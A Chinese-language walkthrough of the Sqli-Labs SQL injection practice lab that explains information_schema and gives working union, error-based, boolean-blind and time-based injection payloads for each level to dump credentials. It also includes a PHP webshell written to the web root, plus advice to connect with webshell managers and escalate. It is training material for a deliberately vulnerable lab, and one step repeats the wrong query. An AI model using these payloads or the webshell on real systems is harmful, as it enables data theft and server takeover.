Sqli-Labs Less1-16关详细讲解
- 一、首先介绍一下这个重要的数据库---information_schema数据库:
- 二、Sqli-Labs靶场
- *****Get传输方式:*****
- Less-1 Union&Select注入-闭合符[ ' ]
- Less-5 报错注入-闭合符[ ' ]
- **Less-7 写入数据--闭合符[ ')) ]**
- Less-8 布尔型盲注--闭合符[ ' ]
- Less-9 延迟型注入--闭合符[ ' ]
- *****Post传输方式****:
- Less-11 Union&Select注入-闭合符[ ' ]
- Less-13 报错型注入--闭合符[ ') ]
- Less-15 布尔型盲注--闭合符[ ' ]
- Less17:报错型注入[ ' ]
- 有任何问题,欢迎大家到评论区讨论
一、首先介绍一下这个重要的数据库—information_schema数据库:
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。
下列为information_schema数据库中schemata表、tables表、columns表的介绍。
schemata表:提供了当前mysql实例中所有数据库的信息。
schemata表中的schema_name列(字段)存储着所有数据库的名字。
information_schema数据库 --> schemata表 --> schema_name列(字段)
tables表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个数据库,表类型,表引擎,创建时间等信息。
tables表中的table_schema列(字段)存储着数据库的名字,table_name列(字段)存储着表的名字。
information_schema数据库 --> tables表 --> table_schema列(字段) --> table_name列(字段)
columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。
columns表中的table_schema列(字段)存储着数据库的名字,table_name列(字段)存储着表的名字,column_name列(字段)存储着列(字段) 的名字。
information_schema数据库 --> columns表 --> table_schema列(字段) --> table_name列(字段) --> column_name列(字段)
数据库:information_schema
有所有数据库名信息的 schemata 表:schemata(schema_name)
有所有表名信息 tables 表:tables(table_schema,table_name)
有所有列(字段)名信息的 columns 表:columns(table_schema,table_name,column_name)
核心语句:(以sqli-labs靶场的数据库为例子)
select schema_name from information_schema.schemata
select table_name from information_schema.tables where schema_name = ‘security’
select column_name from information_schema.columns where table_schema = ‘security’ and table_name = ‘users’
select group_concat(id,username,password) from security.users
SQL注入常用的函数:
user():用户名
version():mysql 数据库版本
database():当前数据库名
current_user():当前用户名
system_user():系统用户名
@@datadir:数据库路径
@@version_compile_os:操作系统版本
盲注常用的函数:
if(expr,v1,v2):如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2。
length(): 返回字符串的字节长度。
ascii(): 返回字符串第一个字符的ASCII码。
substring():从字符串中提取子字符串。
\
二、Sqli-Labs靶场
Get传输方式:
Less-1 Union&Select注入-闭合符[ ’ ]
1、通过使用反斜杠\,来判断闭合字符。
如何判断闭合字符
URL:Less-1/?id=1\
这一步的目的:知道SQL执行语句的闭合字符是什么,以便后面的SQL语句拼接,达到SQL注入的目的。\反斜杠后面跟着的就是闭合符。
2、通过使用order by,来判断执行SQL语句后的结果集里一共返回了多少列(字段)。
order by 关键字的介绍:
order by 关键字用于对结果集按照一个列或者多个列进行排序。order by后可以填列名、数字。
举例: id是name表的第1列的列名,那么若想查询的结果按照id来排序(默认升序),则可以写成下列两种形式,效果均相同。
select * from name order by id;
select * from name order by 1;
应用到sql注入语句中,我们就可以利用(order by 数字)这条语句,通过改变后面的这个数字来查看页面是否报错,来判断执行SQL语句后一共返回了多少列(字段)。
URL:Less-1/?id=1’ order by 3 --+
为什么要查询出当前返还结果集中的列数(字段数)呢?
因为后面用到的union联合查询语句要求union 内部的每个 select语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 select语句中的列的顺序必须相同。所以,要查询出当前返还结果集中的列数(字段数),以便后面使用union关键字时不会出错。
3、通过使用id=-1与union操作符,来查看显示位。
union操作符的介绍:
union 操作符用于合并两个或多个 select语句的结果集。
请注意,union 内部的每个 select语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 select语句中的列的顺序必须相同。
URL:Less-1/?id=-1’ union select 1,2,3 --+
为什么要使id=-1呢?
当id=-1时,select语句查询到的结果集不存在,则没有返还结果;而union后半段的select语句查询到的结果集存在,则会返还结果,从而判断显示位会显示哪个列(字段)的信息。
4、通过使用version()、database(),来判断数据库版本信息和当前数据库名。
URL:Less-1/?id=-1’ union select 1,version(),database() --+
5、通过使用group_concat()、information_schema.schemata和schema_name,来爆出数据库。
group_concat()函数的介绍:
group_concat()函数可以用来连接字符串,在其中可以添加一些分割符,可以使得结果跟直观。
information_schema.schemata与schema_name开头有介绍。
URL:Less-1/?id=-1’ union select 1,database(),group_concat(’ ',schema_name) from information_schema.schemata --+
6、通过使用group_concat()、information_schema.tables、table_name、table_schema,来爆出数据库中的表名。
information_schema.tables、table_name和table_schema开头有介绍。
URL:Less-1/?id=-1’ union select 1,database(),group_concat(’ ',table_name) from information_schema.tables where table_schema=‘security’ --+
7、通过使用group_concat()、information_schema.columns、column_name、table_schema、table_name,来爆出表中的列名(字段名)。
information_schema.columns、column_name、table_schema和table_name开头有介绍。
URL:Less-1/?id=-1’ union select 1,database(),group_concat(’ ',column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+
8、通过使用group_concat()和前面爆出的表名、列名(字段名),来爆出想要的数据。
URL:Less-1/?id=-1’ union select 1,database(),group_concat(’ ‘,id,’-’,username,’-’,password) from users --+
Less-5 报错注入-闭合符[ ’ ]
1、通过使用反斜杠\,来判断闭合字符。
如何判断闭合字符
Less-5/?id=1\
这一步的目的:知道SQL执行语句的闭合字符是什么,以便后面的SQL语句拼接,达到SQL注入的目的。\反斜杠后面跟着的就是闭合符。
2、通过使用extractvalue()报错函数、version()、database(),来判断数据库版本信息和当前数据库名。
Less-5/?id=1' and extractvalue(1,concat(0x7e,(select version()),0x7e)) --+
3、通过使用concat()、limit、information_schema.schemata和schema_name,来爆出数据库信息。
concat()函数的介绍:
concat()函数为字符串连接函数,将多个字符串连接成一个字符串。
limit子句的介绍:
limit子句可以被用于强制select语句返回指定的记录数。limit接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。初始记录行的偏移量是0(而不是1)。
因为报错信息长度有限制,所以需要limit子句来限制输出内容,可以通过调整limit后面的参数来逐个显示出所需要的信息。
information_schema.schemata与schema_name开头有介绍。
Less-5/?id=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) --+
4、通过使用concat()、limit、information_schema.tables、table_name、table_schema,来爆出数据库中的表名。
information_schema.tables、table_name和table_schema开头有介绍。
Less-5/?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e)) --+
5、通过使用concat()、information_schema.columns、column_name、table_schema、table_name,来爆出表中的列名(字段名)。
information_schema.columns、column_name、table_schema和table_name开头有介绍。
Less-5/?id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),0x7e)) --+
6、通过使用limit子句和前面爆出的表名、列名(字段名),来爆出想要的数据。
Less-5/?id=1' and extractvalue(1,concat(0x7e,(select username from security.users limit 1,1),0x7e)) --+
Less-5/?id=1' and extractvalue(1,concat(0x7e,(select password from security.users limit 1,1),0x7e)) --+
Less-7 写入数据–闭合符[ ')) ]
一、首先,需要开启文件读写权限
MySql 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作。
先进入cmd命令界面,登录mysql
mysql -u root -p
然后使用 show variables like ‘%secure%’; 命令,查看权限是否已开启,若为 Null ,则表示未开启。
可按下面操作开启,进入 my.ini 数据库配置文件
添加 secure_file_priv="/"
之后,重启一下 mysql 服务器,再进入 mysql 查看,为 C:\ 就成功了。
二、开始注入
1:使用order by子句,判断列(字段)数。
URL:Less-7/?id=1’)) order by 3 --+
2:写入一句话木马,虽然会报错,但是确实写入成功了。
URL:Less-7/?id=1’)) union select 1,2,"<?php @eval($_POST['test']); ?>" into outfile “C:\phpstudy_pro\WWW\sqllab\Less-7\test.php” --+
3:通过蚁剑、菜刀,连接一句话木马。
这时就已经进入到服务器了,可以通过上传大马进一步的提取权限。
Less-8 布尔型盲注–闭合符[ ’ ]
一、首先,我们需要知道,界面回显正常和不正常的区别。
URL:Less-8/?id=1
URL:Less-8/?id=0
可以看到,界面回显正常时,是有 You are in… 的,回显不正常时,时没有的,所以,之后我们就可以通过这一点来推测出正确的数据信息。
二、开始注入
1:先介绍一下,待会要使用的重要函数:length()、ascii()、substring()
length(): 函数的返回值为字符串的字节长度。
ascii():返回字符串str的最左边字符的数值。 如果str是空字符串,则返回0。 如果str为NULL,则返回NULL。ASCII适用于数字值介于0到255之间的字符。
substring():函数从特定位置开始的字符串返回一个给定长度的子字符串。如果要指定要从字符串中提取的子字符串的长度,可以使用以下形式的 substring 函数:
substring(string,position,length);
2:判断闭合符,通过一遍一遍的测试,可以看到当 id=1 后面跟着一个分号 [ ’ ] 时,界面回显错误了,所以闭合符就为分号 [ ’ ]。
如何判断闭合符(点这里)
URL:Less-8/?id=1’
3:通过使用 length() 函数判断当前数据库名称的长度。合理利用大于号[ > ]、小于号[ < ] ,可提升判断速度。
URL:Less-8/?id=1’ and length(database())=8 --+
length(database())=8 的时候正常回显,其他的无正常回显。
4:用ASCII码猜解当前数据库名称,当前数据库的名称为 ‘security’ 第一个字母是 s ,对应 ascii码十进制值为 115。
判断ascii码范围不止是使用 等于号 [ = ] ,合理利用大于号[ > ]、小于号[ < ] ,可提升判断速度。
ascii码表,可自行百度,这里只列出一小部分。
URL:Less-8/?id=1’ and ascii(substring(database(),1,1))<116 --+
URL:Less-8/?id=1’ and ascii(substring(database(),1,1))=115 --+
5:用ASCII码猜解表名,这里只举一个例子,最后猜解的表名应为 'users’
URL:Less-8/?id=1’ and ascii(substring((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),1,1))=117 --+
6:用ASCII码猜解字段名,这里只举一个例子,最后猜解的字段名应为 ‘username’ 和 'password’
URL:Less-8/?id=1’ and ascii(substring((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))=117 --+
7:用ASCII码猜解内容,这里只举一个例子。
URL:Less-8/?id=1’ and ascii(substring((select username from users limit 0,1),1,1))=68 --+
Less-9 延迟型注入–闭合符[ ’ ]
一、开始注入 (因为界面回显都一样,只是响应时间不同,图片展现不出差别,所以这里就不插入结果图了,直接上 SQL语句)
1、判断出闭合符 [ ’ ],当闭合符正确时,界面回显需要等待 3 秒时间
Less-9/?id=1' and sleep(3) --+
2、判断数据库名信息
Less-9/?id=1' and if(ascii(substring((select schema_name from information_schema.schemata limit 6,1),1,1))=115,sleep(3),1)
--+
3、判断表名信息
Less-9/?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(3),1)
--+
4、判断字段名信息
Less-9/?id=1' and if(ascii(substring((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(3),1)
5、判断数据信息
Less-9/?id=1' and if(ascii(substring((select username from users limit 0,1),1,1))=68,sleep(3),1)
--+
*Post传输方式:
除了传输方式不一样,其实SQL注入语句是一样的,有些详细讲解可以查看 Get 传输方式的注入讲解。因为是 Post 请求的主体信息与 Get 请求方式有区别,所以注释符可以使用 #、-- (减号减号空格)。
注意:可以自己直接在 Username 或Password 框内输入SQL注入语句。
要是想要自己发送 Post 请求的主体信息,需要自己下载插件,我这里用的是火狐浏览器,安装了 HackBar 插件。
Less-11 Union&Select注入-闭合符[ ’ ]
1、首先,在开始注入前,若是我们想要自己发送 Post 请求的主体信息,那么我们就要知道,对应输入框的名字信息。可以通过 BurpSuit 抓包查看 Post 请求的主体信息,或者直接在浏览器界面使用查看器 (F12) 查看输入框的 name 及其对应的 value。
2、判断闭合符 ( \ 后面跟着的就是闭合符,为[ ’ ]) :
uname=123\&passwd=&submit=Submit
3、判断执行SQL语句后的结果集里一共返回了多少列(字段)
uname=123' order by 2 -- &passwd=&submit=Submit
这里因为是 Post 请求的主体信息与 Get 请求方式有区别,所以注释符可以使用 #、-- (减号减号空格)。
可以看到当 order by 2 的时候界面没有报错,所以返还的结果集里面最多有 2 列。
4、判断显示位:
uname=123' union select 1,2 -- &passwd=&submit=Submit
5、查询数据库名信息:
uname=123' union select database(),group_concat('/',schema_name) from information_schema.schemata #&passwd=&submit=Submit
6、查询表名信息:
uname=123' union select database(),group_concat('/',table_name) from information_schema.tables where table_schema='security' #&passwd=&submit=Submit
7、查询字段名信息:
uname=123' union select database(),group_concat('/',column_name) from information_schema.columns where table_schema='security' and table_name='users' #&passwd=&submit=Submit
8、查询数据信息:
uname=123' union select database(),group_concat(id,'/',username,'/',password) from users #&passwd=&submit=Submit
Less-13 报错型注入–闭合符[ ') ]
一、这里除了 Post 请求方式与 Get 请求方式不同之外,其他都一样,原理讲解可以去 Get 请求方式篇查看。这里只写执行语句。
二、开始注入
1、判断闭合符 [ ') ]
如何判断闭合符(点这里)
uname=\&passwd=&submit=Submit
2、爆出数据库名信息
uname=1') and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1))) #&passwd=&submit=Submit
3、爆出数据库表名信息
uname=1') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1))) #&passwd=&submit=Submit
4、爆出字段名信息
uname=1') and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))) #&passwd=&submit=Submit
5、爆出数据信息
uname=1') and extractvalue(1,concat(0x7e,(select username from users limit 0,1))) #&passwd=&submit=Submit
Less-15 布尔型盲注–闭合符[ ’ ]
一、注入步骤基本上与Less-8一样,但是需要注意的一个点是,连接符需要用到的是 or 而不是 and ,原因是因为在我们不知道用户名的情况下,若是用 and 作为连接符,那么若是有一边执行结果为 false ,则整个执行结果就是 false ,这样就判断不了,所以需要用到 or ,一边为 true,则整个执行结果就为 true。
二、布尔型注入
1、判断闭合符,并且判断语句执行正确与错误,界面回显是否有不同之处。
uname=1' or 1=1 # &passwd=&submit=Submit
使用 or 1=1,这一边一定是返还 true 的,但是若是前面的闭合符不正确,那么整个语句执行起来一定也还是错误的,所以这时就可以利用这个特性去判断闭合符是什么,这里判断得出闭合符为 [ ’ ] ,并且判断得出当语句执行成功返回 true 时,界面是显示 successfully 的,若是返回 false 是,界面是显示 login attempt failed 的。
2、判断数据库名信息
uname=1' or ascii(substring((select schema_name from information_schema.schemata limit 6,1),1))=115 # &passwd=&submit=Submit
3、判断数据库表名信息
uname=1' or ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 3,1),1))=117 # &passwd=&submit=Submit
4、判断字段名信息
uname=1' or ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 3,1),1))=117 # &passwd=&submit=Submit
5、判断数据信息
uname=1' or ascii(substring((select username from users limit 0,1),1))=68 # &passwd=&submit=Submit
三、延迟型注入
1、需要注意的是使用的连接符是 or 不是 and ,使用 if() 时,当语句正确时,应当执行 1 ,错误的时候,再执行 sleep() 。不然假如,正确时,执行的是 sleep() ,就会成 uname=1’ or sleep(3) ,这样 or 两边都没有返回 true 值,就不正确了。所以,应该是正确的时候执行的是 1,这样就成了 uname=1’ or 1,1就相当于 true,这样才正确。
2、其他的和 Less-9 基本一样,这里就列出来一步。
3、查询数据库名信息
uname=1'or if(ascii(substring((select schema_name from information_schema.schemata limit 0,1),1))=105,1,sleep(1)) #&passwd=1&submit=Submit
Less17:报错型注入[ ’ ]
1、判断闭合符
uname=Dumb&passwd=\&submit=Submit
2、爆出数据库信息
uname=Dumb&passwd=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))#&submit=Submit
\